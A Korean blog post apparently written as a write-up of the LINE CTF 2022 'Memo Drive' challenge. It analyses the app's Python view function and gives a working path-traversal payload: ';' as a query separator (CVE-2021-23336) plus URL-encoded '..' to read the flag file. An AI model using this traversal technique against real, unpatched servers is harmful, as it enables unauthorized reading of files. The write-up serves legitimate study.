ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Study] LINE CTF 2022 Memo Drive Writeup
    CTF/LINE CTF 2022 2022. 3. 28. 07:47

    주어진 페이지에 접근해보자.

     

    아래와 같이 메모를 작성하고 읽을 수 있는 기능이 구현되어 있다.

     

    주어진 소스코드를 분석해보자. 

     

    우선 Dockerfile에 플래그 위치가 나타나있다. ${MEMO}/memo/flag 를 읽어 플래그를 획득 할 수 있다는 점을 기억하자.

    FROM python:3.9.0
    
    LABEL maintainer "t0rchwo0d_LINE"
    
    ENV SALT="ONLY_FOR_LOCAL_TEST"
    ENV MEMO /usr/local/opt/memo-drive
    RUN mkdir -p "${MEMO}"
    
    RUN apt-get -qq update && \
      apt-get -qq -y upgrade && \
      apt-get -qq -y install htop net-tools vim
    
    COPY ./memo-drive "${MEMO}"
    
    COPY start.sh "${MEMO}/start.sh"
    COPY flag "${MEMO}/memo/flag"
    
    RUN pip install -r "${MEMO}/requirements.txt"
    
    RUN chmod -R 705 "${MEMO}"
    RUN chmod 707 "${MEMO}/memo/"
    RUN chmod 704 "${MEMO}/memo/flag"
    
    RUN groupadd -g 1000 memo
    RUN useradd -g memo -s /bin/bash memo
    
    USER memo
    EXPOSE 11000
    WORKDIR "${MEMO}"
    ENTRYPOINT ["./start.sh"]

     

    처음에는 memo를 기록할 때 memo의 내용에 특정 구문을 입력하여 작성한 메모를 읽을 시 플래그 값이 노출되도록 하는 방식일 것이라고 생각했었는데 해당 시나리오로는 취약한 포인트를 찾지 못했다.

     

    따라서 위 Dockerfile 에서 얻은 정보를 기반으로 직접 /memo/flag를 읽는 방식을 시도해보았다. 핵심은 메모를 읽는 로직일 것이라고 생각하여 view 메소드를 집중적으로 분석해보았다.

     

    우선 일반적으로 작성한 메모를 읽을 때 아래와 같이 호출된다.

    http://34.146.195.115/view?d46636bd5fec072a9d8aa2280f78ea9c=0_20220327220246

    여기서 d46636bd5fec072a9d8aa2280f78ea9c 는

    clientId = getClientID(request.client.host)

    의 결과 값으로 사용자 IP와 salt를 더한 값에 md5를 한 값이다.

    0_20220327220246 는

    filename = str(idx) + '_' + datetime.datetime.now().strftime('%Y%m%d%H%M%S')

    로직을 통해 만들어진 실제 메모 파일의 이름이다.

     

    이를 참고하여 소스를 분석해보자.

    def view(request):
        context = {}
    
        try:
            context['request'] = request
            clientId = getClientID(request.client.host)
    
            if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
            ##### ............................................................................ (1)
                raise
            
            filename = request.query_params[clientId]
            path = './memo/' + "".join(request.query_params.keys()) + '/' + filename ##### ... (2)
            
            f = open(path, 'r')
            contents = f.readlines()
            f.close()
            
            context['filename'] = filename
            context['contents'] = contents
        
        except:
            pass
        
        return templates.TemplateResponse('/view/view.html', context)

    (1) 을 분석해보면, url query에 &과 . 이 들어갈 수 없고, 특히 filename에는 unquote를 통해 url 디코딩 후에도 . 가 포함될 수 없다.

     따라서 

    http://34.146.195.115/view?d46636bd5fec072a9d8aa2280f78ea9c=../flag

    와 같은 구문은 사용 할 수 없다.

     

    (2)의 파일 경로를 정의하는 부분을 분석해보자.

    우리가 작성한 메모의 실제 경로는 /memo/d46636bd5fec072a9d8aa2280f78ea9c/0_20220327220246 인 듯 하다.

    하지만 특이한점이 있는데,

    /memo/ 하위 디렉토리를 지정 할 때 request.query_params.keys() 로 여러 파라미터의 key들이 더해진 값이 되도록 한다.

    따라서, 비록 & 가 제한되어 있지만 request.query_params[clientId] 외에 파라미터를 추가 할 수 있고 그 값이 /.. 라면

    /memo/d46636bd5fec072a9d8aa2280f78ea9c/../flag 처럼 플래그를 호출 할 수 있을 것이다.

     

    혹시 URL Query String에서 & 외에 구분자를 지정 할 수 있는 방법이 있을까해서 공부해보았다.

    https://en.wikipedia.org/wiki/Query_string

     

    Query string - Wikipedia

    From Wikipedia, the free encyclopedia Jump to navigation Jump to search Part of a URL that assigns values to specified parameters A query string is a part of a uniform resource locator (URL) that assigns values to specified parameters. A query string commo

    en.wikipedia.org

    위 레퍼런스에 의하면 & 대신 ; 를 사용 할 수 있다는 내용이 있었다.

     

    * 22.04.02 수정 ----> 위 내용에서 ; 사용은 특이케이스에 대한 내용이고 아래 레퍼런스가 더 정확한 듯 하다. 

    https://bugs.python.org/issue42967

     

    Issue 42967: [CVE-2021-23336] urllib.parse.parse_qsl(): Web cache poisoning - `; ` as a query args separator - Python tracker

    Issue42967 Created on 2021-01-19 15:06 by AdamGold, last changed 2021-11-08 16:47 by vstinner. This issue is now closed. URL Status Linked Edit PR 24271 closed kj, 2021-01-20 15:20 PR 24297 merged AdamGold, 2021-01-22 12:34 PR 24528 merged orsenthil, 2021-

    bugs.python.org

     

     

    이를 활용하여 request.url.query에서의 필터링을

    & 대신 ; 사용하고 "." 사용 제한을 URL 인코딩으로 우회하여

     

    최종적으로 아래 payload로 플래그를 획득 할 수 있었다.

    http://34.146.195.115/view?d46636bd5fec072a9d8aa2280f78ea9c=flag;/%2e%2e
    
    --> 
    http://34.146.195.115/view?d46636bd5fec072a9d8aa2280f78ea9c=flag&/%2e%2e
    //request.query_params.keys() = ['d46636bd5fec072a9d8aa2280f78ea9c', '/..']
    -->
    memo/d46636bd5fec072a9d8aa2280f78ea9c/../flag

     

    FLAG = LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}

     

    ----------------------------------------------------------------------------------------------------------------------

    또 다른 풀이로, Host 헤더에 #을 추가하여 request.url.query의 필터링을 우회 할 수 있다고 한다.

    반응형

    'CTF > LINE CTF 2022' 카테고리의 다른 글

    [Study] LINE CTF 2022 bb Writeup  (0) 2022.03.29
    [Clear] LINE CTF 2022 gotm Writeup  (0) 2022.03.28

    댓글

Designed by Tistory.